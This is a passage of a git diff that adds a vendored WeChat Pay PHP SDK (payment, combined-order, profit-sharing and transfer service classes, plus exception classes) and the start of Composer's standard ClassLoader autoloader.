下单参数 + * @return mixed {"prepay_id":"预支付交易会话标识"} + * @throws Exception + */ + public function combineAppPay(array $params){ + $path = '/v3/combine-transactions/app'; + $publicParams = [ + 'combine_appid' => $this->appId, + 'combine_mchid' => $this->mchId, + ]; + foreach($params['sub_orders'] as &$order){ + $order['mchid'] = $this->mchId; + if(!isset($order['sub_mchid'])) $order['sub_mchid'] = $this->subMchId; + if(!isset($order['sub_appid'])) $order['sub_appid'] = $this->subAppId; + } + $params = array_merge($publicParams, $params); + return $this->execute('POST', $path, $params); + } + + /** + * 合单查询订单 + * @param string $combine_out_trade_no 合单商户订单号 + * @return mixed + * @throws Exception + */ + public function combineQueryOrder(string $combine_out_trade_no){ + $path = '/v3/combine-transactions/out-trade-no/'.$combine_out_trade_no; + + return $this->execute('GET', $path, []); + } + + /** + * 合单关闭订单 + * @param string $combine_out_trade_no 合单商户订单号 + * @param array $out_trade_no_list 子单订单号列表 + * @return mixed + * @throws Exception + */ + public function combineCloseOrder(string $combine_out_trade_no, array $out_trade_no_list){ + $path = '/v3/combine-transactions/out-trade-no/'.$combine_out_trade_no.'/close'; + $sub_orders = []; + foreach($out_trade_no_list as $out_trade_no){ + $sub_orders[] = [ + 'mchid' => $this->mchId, + 'out_trade_no' => $out_trade_no, + 'sub_appid' => $this->subAppId, + 'sub_mchid' => $this->subMchId, + ]; + } + $params = [ + 'combine_appid' => $this->appId, + 'sub_orders' => $sub_orders + ]; + return $this->execute('POST', $path, $params); + } +} \ No newline at end of file diff --git a/includes/vendor/cccyun/wechatpay-sdk/src/V3/PaymentService.php b/includes/vendor/cccyun/wechatpay-sdk/src/V3/PaymentService.php new file mode 100644 index 0000000..d7025a3 --- /dev/null +++ b/includes/vendor/cccyun/wechatpay-sdk/src/V3/PaymentService.php @@ -0,0 +1,349 @@ + $this->appId, + 'mchid' => $this->mchId, + ]; + $params = array_merge($publicParams, $params); + return $this->execute('POST', $path, $params); + } + + /** + * JSAPI支付 + * @param array $params 下单参数 + * @return array Jsapi支付json数据 + * @throws Exception + */ + public function jsapiPay(array $params): array + { + $path = '/v3/pay/transactions/jsapi'; + $publicParams = [ + 'appid' => $this->appId, + 'mchid' => $this->mchId, + ]; + $params = array_merge($publicParams, $params); + $result = $this->execute('POST', $path, $params); + return $this->getJsApiParameters($result['prepay_id']); + } + + /** + * 获取JSAPI支付的参数 + * @param string $prepay_id 预支付交易会话标识 + * @return array json数据 + */ + private function getJsApiParameters(string $prepay_id): array + { + $params = [ + 'appId' => $this->appId, + 'timeStamp' => time().'', + 'nonceStr' => $this->getNonceStr(), + 'package' => 'prepay_id=' . $prepay_id, + ]; + $params['paySign'] = $this->makeSign([$params['appId'], $params['timeStamp'], $params['nonceStr'], $params['package']]); + $params['signType'] = 'RSA'; + return $params; + } + + /** + * H5支付 + * @param array $params 下单参数 + * @return mixed {"h5_url":"支付跳转链接"} + * @throws Exception + */ + public function h5Pay(array $params){ + $path = '/v3/pay/transactions/h5'; + $publicParams = [ + 'appid' => $this->appId, + 'mchid' => $this->mchId, + ]; + $params = array_merge($publicParams, $params); + return $this->execute('POST', $path, $params); + } + + /** + * APP支付 + * @param array $params 下单参数 + * @return array APP支付json数据 + * @throws Exception + */ + public function appPay(array $params): array + { + $path = '/v3/pay/transactions/app'; + $publicParams = [ + 'appid' => $this->appId, + 'mchid' => $this->mchId, + ]; + $params = array_merge($publicParams, $params); + $result = $this->execute('POST', $path, $params); + return $this->getAppParameters($result['prepay_id']); + } + + /** + * 获取APP支付的参数 + * @param string $prepay_id 预支付交易会话标识 + * @return array + */ + private function getAppParameters(string $prepay_id): array + { + $params = [ + 'appid' => $this->appId, + 'partnerid' => $this->mchId, + 'prepayid' => $prepay_id, + 'package' => 'Sign=WXPay', + 'noncestr' => $this->getNonceStr(), + 'timestamp' => time().'', + ]; + $params['sign'] = $this->makeSign([$params['appid'], $params['timestamp'], $params['noncestr'], $params['prepayid']]); + return $params; + } + + /** + * 查询订单,微信订单号、商户订单号至少填一个 + * @param string|null $transaction_id 微信订单号 + * @param string|null $out_trade_no 商户订单号 + * @return mixed + * @throws Exception + */ + public function orderQuery(string $transaction_id = null, string $out_trade_no = null){ + if(!empty($transaction_id)){ + $path = '/v3/pay/transactions/id/'.$transaction_id; + }elseif(!empty($out_trade_no)){ + $path = '/v3/pay/transactions/out-trade-no/'.$out_trade_no; + }else{ + throw new Exception('微信支付订单号和商户订单号不能同时为空'); + } + + $params = [ + 'mchid' => $this->mchId, + ]; + return $this->execute('GET', $path, $params); + } + + /** + * 判断订单是否已完成 + * @param string $transaction_id 微信订单号 + * @return bool + */ + public function orderQueryResult(string $transaction_id): bool + { + try { + $data = $this->orderQuery($transaction_id); + return $data['trade_state'] == 'SUCCESS' || $data['trade_state'] == 'REFUND'; + } catch (Exception $e) { + return false; + } + } + + /** + * 关闭订单 + * @param string $out_trade_no 商户订单号 + * @return mixed + * @throws Exception + */ + public function closeOrder(string $out_trade_no){ + $path = '/v3/pay/transactions/out-trade-no/'.$out_trade_no.'/close'; + $params = [ + 'mchid' => $this->mchId, + ]; + return $this->execute('POST', $path, $params); + } + + /** + * 申请退款 + * @param array $params + * @return mixed + * @throws Exception + */ + public function refund(array $params){ + $path = '/v3/refund/domestic/refunds'; + return $this->execute('POST', $path, $params); + } + + /** + * 查询退款 + * @param string $out_refund_no + * @return mixed + * @throws Exception + */ + public function refundQuery(string $out_refund_no){ + $path = '/v3/refund/domestic/refunds/'.$out_refund_no; + return $this->execute('GET', $path, []); + } + + /** + * 申请交易账单 + * @param array $params + * @return mixed + * @throws Exception + */ + public function tradeBill(array $params){ + $path = '/v3/bill/tradebill'; + return $this->execute('GET', $path, $params); + } + + /** + * 申请资金账单 + * @param array $params + * @return mixed + * @throws Exception + */ + public function fundflowBill(array $params){ + $path = '/v3/bill/fundflowbill'; + return $this->execute('GET', $path, $params); + } + + /** + * 支付通知处理 + * @return array 支付成功通知参数 + * @throws Exception + */ + public function notify(): array + { + $data = parent::notify(); + if (!$data || !isset($data['transaction_id']) && !isset($data['combine_out_trade_no'])) { + throw new Exception('缺少订单号参数'); + } + if (!isset($data['combine_out_trade_no']) && !$this->orderQueryResult($data['transaction_id'])) { + throw new Exception('订单未完成'); + } + return $data; + } + + + /** + * 合单Native支付 + * @param array $params 下单参数 + * @return mixed {"code_url":"二维码链接"} + * @throws Exception + */ + public function combineNativePay(array $params){ + $path = '/v3/combine-transactions/native'; + $publicParams = [ + 'combine_appid' => $this->appId, + 'combine_mchid' => $this->mchId, + ]; + foreach($params['sub_orders'] as &$order){ + $order['mchid'] = $this->mchId; + } + $params = array_merge($publicParams, $params); + return $this->execute('POST', $path, $params); + } + + /** + * 合单JSAPI支付 + * @param array $params 下单参数 + * @return array Jsapi支付json数据 + * @throws Exception + */ + public function combineJsapiPay(array $params): array + { + $path = '/v3/combine-transactions/jsapi'; + $publicParams = [ + 'combine_appid' => $this->appId, + 'combine_mchid' => $this->mchId, + ]; + foreach($params['sub_orders'] as &$order){ + $order['mchid'] = $this->mchId; + } + $params = array_merge($publicParams, $params); + $result = $this->execute('POST', $path, $params); + return $this->getJsApiParameters($result['prepay_id']); + } + + /** + * 合单H5支付 + * @param array $params 下单参数 + * @return mixed {"h5_url":"支付跳转链接"} + * @throws Exception + */ + public function combineH5Pay(array $params){ + $path = '/v3/combine-transactions/h5'; + $publicParams = [ + 'combine_appid' => $this->appId, + 'combine_mchid' => $this->mchId, + ]; + foreach($params['sub_orders'] as &$order){ + $order['mchid'] = $this->mchId; + } + $params = array_merge($publicParams, $params); + return $this->execute('POST', $path, $params); + } + + /** + * 合单APP支付 + * @param array $params 下单参数 + * @return mixed {"prepay_id":"预支付交易会话标识"} + * @throws Exception + */ + public function combineAppPay(array $params){ + $path = '/v3/combine-transactions/app'; + $publicParams = [ + 'combine_appid' => $this->appId, + 'combine_mchid' => $this->mchId, + ]; + foreach($params['sub_orders'] as &$order){ + $order['mchid'] = $this->mchId; + } + $params = array_merge($publicParams, $params); + return $this->execute('POST', $path, $params); + } + + /** + * 合单查询订单 + * @param string $combine_out_trade_no 合单商户订单号 + * @return mixed + * @throws Exception + */ + public function combineQueryOrder(string $combine_out_trade_no){ + $path = '/v3/combine-transactions/out-trade-no/'.$combine_out_trade_no; + + return $this->execute('GET', $path, []); + } + + /** + * 合单关闭订单 + * @param string $combine_out_trade_no 合单商户订单号 + * @param array $out_trade_no_list 子单订单号列表 + * @return mixed + * @throws Exception + */ + public function combineCloseOrder(string $combine_out_trade_no, array $out_trade_no_list){ + $path = '/v3/combine-transactions/out-trade-no/'.$combine_out_trade_no.'/close'; + $sub_orders = []; + foreach($out_trade_no_list as $out_trade_no){ + $sub_orders[] = [ + 'mchid' => $this->mchId, + 'out_trade_no' => $out_trade_no, + ]; + } + $params = [ + 'combine_appid' => $this->appId, + 'sub_orders' => $sub_orders + ]; + return $this->execute('POST', $path, $params); + } +} \ No newline at end of file diff --git a/includes/vendor/cccyun/wechatpay-sdk/src/V3/ProfitsharingService.php b/includes/vendor/cccyun/wechatpay-sdk/src/V3/ProfitsharingService.php new file mode 100644 index 0000000..21a57b4 --- /dev/null +++ b/includes/vendor/cccyun/wechatpay-sdk/src/V3/ProfitsharingService.php @@ -0,0 +1,164 @@ +ecommerce ? '/v3/ecommerce/profitsharing/receivers/add' : '/v3/profitsharing/receivers/add'; + $params = [ + 'appid' => $this->appId, + 'type' => $type, + 'account' => $account, + 'relation_type' => 'SUPPLIER', + ]; + if (!empty($this->subMchId)) $params['sub_mchid'] = $this->subMchId; + if (!empty($name)) { + if ($this->ecommerce) { + $params['encrypted_name'] = $this->rsaEncrypt($name); + } else { + $params['name'] = $this->rsaEncrypt($name); + } + } + return $this->execute('POST', $path, $params, true); + } + + /** + * 删除分账接收方 + * @param string $type 分账接收方类型 + * @param string $account 分账接收方账号 + * @return mixed + * @throws Exception + */ + public function deleteReceiver($type, string $account) + { + $path = $this->ecommerce ? '/v3/ecommerce/profitsharing/receivers/delete' : '/v3/profitsharing/receivers/delete'; + $params = [ + 'appid' => $this->appId, + 'type' => $type, + 'account' => $account, + ]; + if (!empty($this->subMchId)) $params['sub_mchid'] = $this->subMchId; + return $this->execute('POST', $path, $params); + } + + /** + * 请求分账 + * @param array $params 请求参数 + * @return mixed {"transaction_id":"微信订单号","out_order_no":"商户分账单号","order_id":"微信分账单号","status":"分账单状态","receivers":""} + * @throws Exception + */ + public function submit(array $params) + { + $path = $this->ecommerce ? '/v3/ecommerce/profitsharing/orders' : '/v3/profitsharing/orders'; + $publicParams = [ + 'appid' => $this->appId, + ]; + if (!empty($this->subMchId)) $publicParams['sub_mchid'] = $this->subMchId; + $params = array_merge($publicParams, $params); + return $this->execute('POST', $path, $params, true); + } + + /** + * 查询分账结果 + * @param string $out_order_no 商户分账单号 + * @param string $transaction_id 微信订单号 + * @return mixed {"transaction_id":"微信订单号","out_order_no":"商户分账单号","order_id":"微信分账单号","status":"分账单状态","receivers":""} + * @throws Exception + */ + public function query(string $out_order_no, string $transaction_id) + { + $path = $this->ecommerce ? '/v3/ecommerce/profitsharing/orders' : '/v3/profitsharing/orders/' . $out_order_no; + $params = [ + 'transaction_id' => $transaction_id, + ]; + if ($this->ecommerce) { + $params['out_order_no'] = $out_order_no; + } + if (!empty($this->subMchId)) $params['sub_mchid'] = $this->subMchId; + return $this->execute('GET', $path, $params); + } + + /** + * 解冻剩余资金 + * @param string $out_order_no 商户分账单号 + * @param string $transaction_id 微信订单号 + * @return mixed {"transaction_id":"微信订单号","out_order_no":"商户分账单号","order_id":"微信分账单号"} + * @throws Exception + */ + public function unfreeze(string $out_order_no, string $transaction_id) + { + $path = $this->ecommerce ? '/v3/ecommerce/profitsharing/finish-order' : '/v3/profitsharing/orders/unfreeze'; + $params = [ + 'transaction_id' => $transaction_id, + 'out_order_no' => $out_order_no, + 'description' => '取消分账' + ]; + if (!empty($this->subMchId)) $params['sub_mchid'] = $this->subMchId; + return $this->execute('POST', $path, $params); + } + + /** + * 查询订单待分账金额 + * @param string $transaction_id 微信订单号 + * @return mixed {"transaction_id":"微信订单号","unsplit_amount":"订单剩余待分金额"} + * @throws Exception + */ + public function orderAmountQuery(string $transaction_id) + { + $path = $this->ecommerce ? '/v3/ecommerce/profitsharing/orders/' . $transaction_id . '/amounts' : '/v3/profitsharing/transactions/' . $transaction_id . '/amounts'; + return $this->execute('GET', $path); + } + + /** + * 请求分账回退 + * @param array $params 请求参数 + * @return mixed + * @throws Exception + */ + public function return(array $params) + { + $path = $this->ecommerce ? '/v3/ecommerce/profitsharing/returnorders' : '/v3/profitsharing/return-orders'; + if (!empty($this->subMchId)) $params['sub_mchid'] = $this->subMchId; + return $this->execute('POST', $path, $params); + } + + /** + * 查询分账回退结果 + * @param string $out_return_no 商户回退单号 + * @param string $out_order_no 商户分账单号 + * @return mixed + * @throws Exception + */ + public function returnQuery(string $out_return_no, string $out_order_no) + { + $path = $this->ecommerce ? '/v3/ecommerce/profitsharing/returnorders' : '/v3/profitsharing/return-orders/' . $out_return_no; + $params = [ + 'out_order_no' => $out_order_no + ]; + if ($this->ecommerce) $params['out_return_no'] = $out_return_no; + if (!empty($this->subMchId)) $params['sub_mchid'] = $this->subMchId; + return $this->execute('GET', $path, $params); + } +} diff --git a/includes/vendor/cccyun/wechatpay-sdk/src/V3/TransferService.php b/includes/vendor/cccyun/wechatpay-sdk/src/V3/TransferService.php new file mode 100644 index 0000000..57cf848 --- /dev/null +++ b/includes/vendor/cccyun/wechatpay-sdk/src/V3/TransferService.php @@ -0,0 +1,223 @@ + $this->appId, + ]; + $params = array_merge($publicParams, $params); + return $this->execute('POST', $path, $params, true); + } + + /** + * 微信批次单号查询转账批次单 + * @param string $batch_id 微信批次单号 + * @param array $params 查询参数 + * @return mixed {"transfer_batch":{},"transfer_detail_list":[]} + * @throws Exception + */ + public function transferbatch(string $batch_id, array $params){ + $path = '/v3/transfer/batches/batch-id/'.$batch_id; + return $this->execute('GET', $path, $params); + } + + /** + * 微信明细单号查询转账明细单 + * @param string $batch_id 微信批次单号 + * @param string $detail_id 微信明细单号 + * @return mixed + * @throws Exception + */ + public function transferdetail(string $batch_id, string $detail_id){ + $path = '/v3/transfer/batches/batch-id/'.$batch_id.'/details/detail-id/'.$detail_id; + return $this->execute('GET', $path); + } + + /** + * 商家批次单号查询转账批次单 + * @param string $out_batch_no 商家批次单号 + * @param array $params 查询参数 + * @return mixed {"transfer_batch":{},"transfer_detail_list":[]} + * @throws Exception + */ + public function transferoutbatch(string $out_batch_no, array $params){ + $path = '/v3/transfer/batches/out-batch-no/'.$out_batch_no; + return $this->execute('GET', $path, $params); + } + + /** + * 商家明细单号查询转账明细单 + * @param string $out_batch_no 商家批次单号 + * @param string $out_detail_no 商家明细单号 + * @return mixed + * @throws Exception + */ + public function transferoutdetail(string $out_batch_no, string $out_detail_no){ + $path = '/v3/transfer/batches/out-batch-no/'.$out_batch_no.'/details/out-detail-no/'.$out_detail_no; + return $this->execute('GET', $path); + } + + /** + * 转账账单电子回单申请 + * @param string $out_batch_no 商家批次单号 + * @return mixed + * @throws Exception + */ + public function transferBatchReceiptApply(string $out_batch_no) + { + $path = '/v3/transfer/bill-receipt'; + $params = [ + 'out_batch_no' => $out_batch_no + ]; + return $this->execute('POST', $path, $params); + } + + /** + * 查询转账账单电子回单 + * @param string $out_batch_no 商家批次单号 + * @return mixed + * @throws Exception + */ + public function transferBatchReceiptQuery(string $out_batch_no) + { + $path = '/v3/transfer/bill-receipt/'.$out_batch_no; + return $this->execute('GET', $path); + } + + /** + * 转账明细电子回单申请 + * @param string $out_batch_no 商家批次单号 + * @param string $out_detail_no 商家明细单号 + * @return mixed + * @throws Exception + */ + public function transferDetailReceiptApply(string $out_batch_no, string $out_detail_no) + { + $path = '/v3/transfer-detail/electronic-receipts'; + $params = [ + 'accept_type' => 'BATCH_TRANSFER', + 'out_batch_no' => $out_batch_no, + 'out_detail_no' => $out_detail_no + ]; + return $this->execute('POST', $path, $params); + } + + /** + * 查询转账明细电子回单 + * @param string $out_batch_no 商家批次单号 + * @param string $out_detail_no 商家明细单号 + * @return mixed + * @throws Exception + */ + public function transferDetailReceiptQuery(string $out_batch_no, string $out_detail_no) + { + $path = '/v3/transfer-detail/electronic-receipts'; + $params = [ + 'accept_type' => 'BATCH_TRANSFER', + 'out_batch_no' => $out_batch_no, + 'out_detail_no' => $out_detail_no + ]; + return $this->execute('GET', $path, $params); + } + + + /** + * 发起转账 + * @param array $params 请求参数 + * @return mixed {"out_bill_no":"商户单号","transfer_bill_no":"微信转账单号","create_time":"批次创建时间","state":"单据状态","fail_reason":"失败原因","package_info":"跳转领取页面的package信息"} + * @throws Exception + */ + public function mchTransfer(array $params) + { + $path = '/v3/fund-app/mch-transfer/transfer-bills'; + $publicParams = [ + 'appid' => $this->appId, + ]; + $params = array_merge($publicParams, $params); + return $this->execute('POST', $path, $params, true); + } + + /** + * 撤销转账 + * @param string $out_bill_no 商户单号 + * @return mixed + * @throws Exception + */ + public function cancelTransfer(string $out_bill_no) + { + $path = '/v3/fund-app/mch-transfer/transfer-bills/out-bill-no/'.$out_bill_no.'/cancel'; + return $this->execute('POST', $path); + } + + /** + * 商户单号查询转账单 + * @param string $out_bill_no 商户单号 + * @return mixed + * @throws Exception + */ + public function queryTransferByOutNo(string $out_bill_no){ + $path = '/v3/fund-app/mch-transfer/transfer-bills/out-bill-no/'.$out_bill_no; + return $this->execute('GET', $path); + } + + /** + * 微信单号查询转账单 + * @param string $transfer_bill_no 微信单号 + * @return mixed + * @throws Exception + */ + public function queryTransfer(string $transfer_bill_no){ + $path = '/v3/fund-app/mch-transfer/transfer-bills/transfer-bill-no/'.$transfer_bill_no; + return $this->execute('GET', $path); + } + + /** + * 申请电子回单 + * @param string $out_bill_no 商户单号 + * @return mixed + * @throws Exception + */ + public function transferReceiptApply(string $out_bill_no) + { + $path = '/v3/fund-app/mch-transfer/elecsign/out-bill-no'; + $params = [ + 'out_bill_no' => $out_bill_no, + ]; + return $this->execute('POST', $path, $params); + } + + /** + * 查询电子回单 + * @param string $out_bill_no 商户单号 + * @return mixed + * @throws Exception + */ + public function transferReceiptQuery(string $out_bill_no) + { + $path = '/v3/fund-app/mch-transfer/elecsign/out-bill-no/'.$out_bill_no; + return $this->execute('GET', $path); + } +} diff --git a/includes/vendor/cccyun/wechatpay-sdk/src/V3/WeChatPayException.php b/includes/vendor/cccyun/wechatpay-sdk/src/V3/WeChatPayException.php new file mode 100644 index 0000000..ce61157 --- /dev/null +++ b/includes/vendor/cccyun/wechatpay-sdk/src/V3/WeChatPayException.php @@ -0,0 +1,45 @@ +res = $res; + $this->httpCode = $httpCode; + if(is_array($res)){ + $this->errCode = $res['code']; + $message = '['.$res['code'].']'.$res['message'].(isset($res['detail']['issue'])?'('.$res['detail']['issue'].')':''); + }else{ + $message = '返回数据解析失败(http_code='.$httpCode.')'; + } + parent::__construct($message); + } + + public function getResponse(): array + { + return $this->res; + } + + public function getErrCode() + { + return $this->errCode; + } + + public function getHttpCode(): string + { + return $this->httpCode; + } +} \ No newline at end of file diff --git a/includes/vendor/cccyun/wechatpay-sdk/src/WeChatPayException.php b/includes/vendor/cccyun/wechatpay-sdk/src/WeChatPayException.php new file mode 100644 index 0000000..4c0019c --- /dev/null +++ b/includes/vendor/cccyun/wechatpay-sdk/src/WeChatPayException.php @@ -0,0 +1,39 @@ +res = $res; + if (isset($res['err_code'])) { + $this->errCode = $res['err_code']; + $message = '['.$res['err_code'].']'.$res['err_code_des']; + } elseif (isset($res['return_code'])) { + $message = '['.$res['return_code'].']'.$res['return_msg']; + } else { + $message = '返回数据解析失败'; + } + parent::__construct($message); + } + + public function getResponse(): array + { + return $this->res; + } + + public function getErrCode() + { + return $this->errCode; + } +} \ No newline at end of file diff --git a/includes/vendor/composer/ClassLoader.php b/includes/vendor/composer/ClassLoader.php new file mode 100644 index 0000000..7824d8f --- /dev/null +++ b/includes/vendor/composer/ClassLoader.php @@ -0,0 +1,579 @@ + + * Jordi Boggiano + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Composer\Autoload; + +/** + * ClassLoader implements a PSR-0, PSR-4 and classmap class loader. + * + * $loader = new \Composer\Autoload\ClassLoader(); + * + * // register classes with namespaces + * $loader->add('Symfony\Component', __DIR__.'/component'); + * $loader->add('Symfony', __DIR__.'/framework'); + * + * // activate the autoloader + * $loader->register(); + * + * // to enable searching the include path (eg. for PEAR packages) + * $loader->setUseIncludePath(true); + * + * In this example, if you try to use a class in the Symfony\Component + * namespace or one of its children (Symfony\Component\Console for instance), + * the autoloader will first look for the class under the component/ + * directory, and it will then fallback to the framework/ directory if not + * found before giving up. + * + * This class is loosely based on the Symfony UniversalClassLoader. + * + * @author Fabien Potencier + * @author Jordi Boggiano + * @see https://www.php-fig.org/psr/psr-0/ + * @see https://www.php-fig.org/psr/psr-4/ + */ +class ClassLoader +{ + /** @var \Closure(string):void */ + private static $includeFile; + + /** @var string|null */ + private $vendorDir; + + // PSR-4 + /** + * @var array> + */ + private $prefixLengthsPsr4 = array(); + /** + * @var array> + */ + private $prefixDirsPsr4 = array(); + /** + * @var list + */ + private $fallbackDirsPsr4 = array(); + + // PSR-0 + /** + * List of PSR-0 prefixes + * + * Structured as array('F (first letter)' => array('Foo\Bar (full prefix)' => array('path', 'path2'))) + * + * @var array>> + */ + private $prefixesPsr0 = array(); + /** + * @var list + */ + private $fallbackDirsPsr0 = array(); + + /** @var bool */ + private $useIncludePath = false; + + /** + * @var array + */ + private $classMap = array(); + + /** @var bool */ + private $classMapAuthoritative = false; + + /** + * @var array + */ + private $missingClasses = array(); + + /** @var string|null */ + private $apcuPrefix; + + /** + * @var array + */ + private static $registeredLoaders = array(); + + /** + * @param string|null $vendorDir + */ + public function __construct($vendorDir = null) + { + $this->vendorDir = $vendorDir; + self::initializeIncludeClosure(); + } + + /** + * @return array> + */ + public function getPrefixes() + { + if (!empty($this->prefixesPsr0)) { + return call_user_func_array('array_merge', array_values($this->prefixesPsr0)); + } + + return array(); + } + + /** + * @return array> + */ + public function getPrefixesPsr4() + { + return $this->prefixDirsPsr4; + } + + /** + * @return list + */ + public function getFallbackDirs() + { + return $this->fallbackDirsPsr0; + } + + /** + * @return list + */ + public function getFallbackDirsPsr4() + { + return $this->fallbackDirsPsr4; + } + + /** + * @return array Array of classname => path + */ + public function getClassMap() + { + return $this->classMap; + } + + /** + * @param array $classMap Class to filename map + * + * @return void + */ + public function addClassMap(array $classMap) + { + if ($this->classMap) { + $this->classMap = array_merge($this->classMap, $classMap); + } else { + $this->classMap = $classMap; + } + } + + /** + * Registers a set of PSR-0 directories for a given prefix, either + * appending or prepending to the ones previously set for this prefix. + * + * @param string $prefix The prefix + * @param list|string $paths The PSR-0 root directories + * @param bool $prepend Whether to prepend the directories + * + * @return void + */ + public function add($prefix, $paths, $prepend = false) + { + $paths = (array) $paths; + if (!$prefix) { + if ($prepend) { + $this->fallbackDirsPsr0 = array_merge( + $paths, + $this->fallbackDirsPsr0 + ); + } else { + $this->fallbackDirsPsr0 = array_merge( + $this->fallbackDirsPsr0, + $paths + ); + } + + return; + } + + $first = $prefix[0]; + if (!isset($this->prefixesPsr0[$first][$prefix])) { + $this->prefixesPsr0[$first][$prefix] = $paths; + + return; + } + if ($prepend) { + $this->prefixesPsr0[$first][$prefix] = array_merge( + $paths, + $this->prefixesPsr0[$first][$prefix] + ); + } else { + $this->prefixesPsr0[$first][$prefix] = array_merge( + $this->prefixesPsr0[$first][$prefix], + $paths + ); + } + } + + /** + * Registers a set of PSR-4 directories for a given namespace, either + * appending or prepending to the ones previously set for this namespace. + * + * @param string $prefix The prefix/namespace, with trailing '\\' + * @param list|string $paths The PSR-4 base directories + * @param bool $prepend Whether to prepend the directories + * + * @throws \InvalidArgumentException + * + * @return void + */ + public function addPsr4($prefix, $paths, $prepend = false) + { + $paths = (array) $paths; + if (!$prefix) { + // Register directories for the root namespace. + if ($prepend) { + $this->fallbackDirsPsr4 = array_merge( + $paths, + $this->fallbackDirsPsr4 + ); + } else { + $this->fallbackDirsPsr4 = array_merge( + $this->fallbackDirsPsr4, + $paths + ); + } + } elseif (!isset($this->prefixDirsPsr4[$prefix])) { + // Register directories for a new namespace. + $length = strlen($prefix); + if ('\\' !== $prefix[$length - 1]) { + throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator."); + } + $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length; + $this->prefixDirsPsr4[$prefix] = $paths; + } elseif ($prepend) { + // Prepend directories for an already registered namespace. + $this->prefixDirsPsr4[$prefix] = array_merge( + $paths, + $this->prefixDirsPsr4[$prefix] + ); + } else { + // Append directories for an already registered namespace. + $this->prefixDirsPsr4[$prefix] = array_merge( + $this->prefixDirsPsr4[$prefix], + $paths + ); + } + } + + /** + * Registers a set of PSR-0 directories for a given prefix, + * replacing any others previously set for this prefix. + * + * @param string $prefix The prefix + * @param list|string $paths The PSR-0 base directories + * + * @return void + */ + public function set($prefix, $paths) + { + if (!$prefix) { + $this->fallbackDirsPsr0 = (array) $paths; + } else { + $this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths; + } + } + + /** + * Registers a set of PSR-4 directories for a given namespace, + * replacing any others previously set for this namespace. + * + * @param string $prefix The prefix/namespace, with trailing '\\' + * @param list|string $paths The PSR-4 base directories + * + * @throws \InvalidArgumentException + * + * @return void + */ + public function setPsr4($prefix, $paths) + { + if (!$prefix) { + $this->fallbackDirsPsr4 = (array) $paths; + } else { + $length = strlen($prefix); + if ('\\' !== $prefix[$length - 1]) { + throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator."); + } + $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length; + $this->prefixDirsPsr4[$prefix] = (array) $paths; + } + } + + /** + * Turns on searching the include path for class files. + * + * @param bool $useIncludePath + * + * @return void + */ + public function setUseIncludePath($useIncludePath) + { + $this->useIncludePath = $useIncludePath; + } + + /** + * Can be used to check if the autoloader uses the include path to check + * for classes. + * + * @return bool + */ + public function getUseIncludePath() + { + return $this->useIncludePath; + } + + /** + * Turns off searching the prefix and fallback directories for classes + * that have not been registered with the class map. + * + * @param bool $classMapAuthoritative + * + * @return void + */ + public function setClassMapAuthoritative($classMapAuthoritative) + { + $this->classMapAuthoritative = $classMapAuthoritative; + } + + /** + * Should class lookup fail if not found in the current class map? + * + * @return bool + */ + public function isClassMapAuthoritative() + { + return $this->classMapAuthoritative; + } + + /** + * APCu prefix to use to cache found/not-found classes, if the extension is enabled. + * + * @param string|null $apcuPrefix + * + * @return void + */ + public function setApcuPrefix($apcuPrefix) + { + $this->apcuPrefix = function_exists('apcu_fetch') && filter_var(ini_get('apc.enabled'), FILTER_VALIDATE_BOOLEAN) ? $apcuPrefix : null; + } + + /** + * The APCu prefix in use, or null if APCu caching is not enabled. + * + * @return string|null + */ + public function getApcuPrefix() + { + return $this->apcuPrefix; + } + + /** + * Registers this instance as an autoloader. + * + * @param bool $prepend Whether to prepend the autoloader or not + * + * @return void + */ + public function register($prepend = false) + { + spl_autoload_register(array($this, 'loadClass'), true, $prepend); + + if (null === $this->vendorDir) { + return; + } + + if ($prepend) { + self::$registeredLoaders = array($this->vendorDir => $this) + self::$registeredLoaders; + } else { + unset(self::$registeredLoaders[$this->vendorDir]); + self::$registeredLoaders[$this->vendorDir] = $this; + } + } + + /** + * Unregisters this instance as an autoloader. + * + * @return void + */ + public function unregister() + { + spl_autoload_unregister(array($this, 'loadClass')); + + if (null !== $this->vendorDir) { + unset(self::$registeredLoaders[$this->vendorDir]); + } + } + + /** + * Loads the given class or interface. + * + * @param string $class The name of the class + * @return true|null True if loaded, null otherwise + */ + public function loadClass($class) + { + if ($file = $this->findFile($class)) { + $includeFile = self::$includeFile; + $includeFile($file); + + return true; + } + + return null; + } + + /** + * Finds the path to the file where the class is defined. + * + * @param string $class The name of the class + * + * @return string|false The path if found, false otherwise + */ + public function findFile($class) + { + // class map lookup + if (isset($this->classMap[$class])) { + return $this->classMap[$class]; + } + if ($this->classMapAuthoritative || isset($this->missingClasses[$class])) { + return false; + } + if (null !== $this->apcuPrefix) { + $file = apcu_fetch($this->apcuPrefix.$class, $hit); + if ($hit) { + return $file; + } + } + + $file = $this->findFileWithExtension($class, '.php'); + + // Search for Hack files if we are running on HHVM + if (false === $file && defined('HHVM_VERSION')) { + $file = $this->findFileWithExtension($class, '.hh'); + } + + if (null !== $this->apcuPrefix) { + apcu_add($this->apcuPrefix.$class, $file); + } + + if (false === $file) { + // Remember that this class does not exist. + $this->missingClasses[$class] = true; + } + + return $file; + } + + /** + * Returns the currently registered loaders keyed by their corresponding vendor directories. + * + * @return array + */ + public static function getRegisteredLoaders() + { + return self::$registeredLoaders; + } + + /** + * @param string $class + * @param string $ext + * @return string|false + */ + private function findFileWithExtension($class, $ext) + { + // PSR-4 lookup + $logicalPathPsr4 = strtr($class, '\\', DIRECTORY_SEPARATOR) . $ext; + + $first = $class[0]; + if (isset($this->prefixLengthsPsr4[$first])) { + $subPath = $class; + while (false !== $lastPos = strrpos($subPath, '\\')) { + $subPath = substr($subPath, 0, $lastPos); + $search = $subPath . '\\'; + if (isset($this->prefixDirsPsr4[$search])) { + $pathEnd = DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $lastPos + 1); + foreach ($this->prefixDirsPsr4[$search] as $dir) { + if (file_exists($file = $dir . $pathEnd)) { + return $file; + } + } + } + } + } + + // PSR-4 fallback dirs + foreach ($this->fallbackDirsPsr4 as $dir) { + if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr4)) { + return $file; + } + } + + // PSR-0 lookup + if (false !== $pos = 